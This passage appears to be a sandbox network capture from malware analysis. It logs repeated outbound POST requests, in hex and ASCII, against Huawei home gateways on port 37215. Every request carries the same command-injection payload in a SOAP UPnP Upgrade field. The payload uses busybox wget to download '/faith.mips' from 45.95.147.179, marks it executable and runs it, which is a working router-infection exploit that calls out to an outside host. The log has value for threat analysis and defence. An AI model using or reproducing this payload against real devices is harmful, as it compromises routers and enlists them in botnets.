52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:24.748667002 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.20	56192	94.120.235.155	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:31.391458035 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.20	40828	94.121.105.126	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:32.908531904 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.20	47134	94.122.228.71	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:33.151233912 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.20	57364	94.121.186.220	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:37.705914021 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.20	41936	156.254.71.200	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:41.309031963 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:42.804730892 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:44.600752115 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:48.188644886 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope 